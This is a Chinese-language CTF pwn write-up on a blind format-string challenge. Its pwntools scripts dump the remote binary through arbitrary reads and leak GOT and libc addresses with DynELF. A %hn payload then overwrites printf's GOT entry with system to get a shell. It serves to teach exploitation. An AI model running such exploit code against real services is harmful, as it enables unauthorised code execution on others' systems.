pwn专题入门分享系列记录4
好久没玩cuit,今年重拾ctf,入坑pwn,据说cuit题目出的不错,我不管,对本人来讲,能学到东西的题目就是好师傅,下面看题:
题目就给了一个地址,没有任何附件,于是用nc连上去看看:
打印一堆图案,然后看到了输入位置的提示信息,于是尝试输入,马上返回输出和你输入一样的内容:
猜测是格式化字符串漏洞,果不其然:
但是不像之前提供原程序文件可以分析具体代码,只能假设这里是调用了printf打印输入内容造成的漏洞,然后再测试一下:
发现正好打印出了提示信息,说明确实是调用了printf,并且根据第一次泄漏出来的地址0x400af4指向的数据内容“[∗]Ok...Here you are :”,推测出程序加载基址为0x400000,因为该静态字符串正常存储在程序的数据段附近。接着继续测试,泄漏栈上的数据:
可以发现我们输入的字符串是存储在栈上的第6个偏移位置,且程序使用的是64位存储。于是,我们便可以利用此漏洞来实现任意地址读写了,然后通过任意读的能力来dump出原程序的内存镜像以方便进行下一步分析利用:
from pwn import *
import binascii
target = remote("54.222.255.223", 50001)
target.recvuntil('lemon:')
def printf(format, result_count=0):
target.sendline(format)
result = target.recvuntil('lemon:')
return result[0:result_count]
f = open('pwnfile', 'wb')
target = remote("54.222.255.223", 50001)
target.recvuntil('lemon:')
i = 0x0
while i < 0x200000:
buf = printf("%7$s" + 'a' * 4 + p64(0x400000 + i), 0x200)
buf = buf[(buf.find("are : ") + 6) : ]
print buf
len = buf.find("aaaa")
if len <= 0:
len = 1
f.write('\x00')
else:
f.write(buf[0:len])
i += len
f.close()
通过上述代码可以dump下来远程服务器运行的程序镜像文件,然后扔进IDA分析,不要使用默认识别的64elf选项(因为内存数据格式有所变化会导致出错),选择64位二进制文件模式分析,重设一下基地址,然后找到关键函数进行分析:
分析出以上函数后,可以获得printf和write等函数的got表项地址,进而可以leak出printf和system的地址:
got_write = 0x601020
got_read = 0x601048
got_printf = 0x601040
要leak出printf地址可以直接利用“%s”读取指针got_printf的内容,而要获得system的地址比较蛋疼,本人原本想通过获得两个libc的函数地址然后在libcdb里查找,但是没有成功,最终通过pwntools的DynELF实现了system地址的leak。要使用DynELF,需要先实现一个可以进行任意地址读的leak函数:
def leak(addr, size=8):
i = 0x0
result = ''
while len(result) < size:
buf = printf("%7$s" + 'a' * 4 + p64(addr + i), 0x200)
buf = buf[(buf.find("are : ") + 6) : ]
find = buf.find("aaaa")
if find <= 0:
find = 1
result += '\x00'
else:
result += buf[0:find]
i += find
return result[0:size]
该函数的第一个参数是任意地址,返回的结果至少包含一个字节的数据即可。然后把leak函数传给DynELF进行初始化,另外需要一个地址参数,也就是这个参数比较坑,可能我不太懂原理,最后参照官方示例传进libc的基地址加上0x1234才成功leak出了system函数的地址,而传进libc某个函数的地址时可以leak出libc的基地址:
got_printf = 0x601040 #offset 0x4ef60
addr_printf = int(binascii.hexlify(leak(got_printf, 0x8)[::-1]), 16)
print 'addr_printf : %08x' % addr_printf
#d = DynELF(leak, addr_printf) #can leak libc base then calc printf offset 0x4ef60
d = DynELF(leak, addr_printf - 0x4ef60 + 0x1234) #!important:moudle base + 0x1234
addr_system = d.lookup('system')
print 'addr_system : %08x' % addr_system #offset 0x3e760
这样就获得了system函数的偏移量,最后可以利用“%n”来改写printf的got表项改成system函数的地址了,和之前的思路差不多,只是payload的数据结构有些偏移而已:
#alert the low dword
alert_printf = addr_printf & 0x00000000ffffffff
alert_system = addr_system & 0x00000000ffffffff
hi = alert_system >> 16
low = alert_system & 0x0000ffff
if hi > low:
payload = "%" + str(low) + "x%12$hn" + "%" + str(hi - low) + "x%13$hn"
else:
payload = "%" + str(hi) + "x%13$hn" + "%" + str(low - hi) + "x%12$hn"
payload += ((6 * 8 - len(payload)) * 'a' + p64(got_printf) + p64(got_printf + 2))
#print payload
target.sendline(payload)
buf = target.recv()
#print buf
target.sendline('/bin/sh')
target.interactive()
Getshell后,找到flag和原题程序(info.txt就是一开始打印出来的那个柠檬水图案,run.sh为启动本题在指定端口后台运行的脚本):
最后默默地把原题程序上传拿走,才能顺利进行本篇分享=V=!:
另外,看看人家是怎么部署漏洞程序的,本人也是第一次见,才发现原来这么简单的一条命令搞定:
OK,本篇分享结束!
目前没有反馈
表单载入中...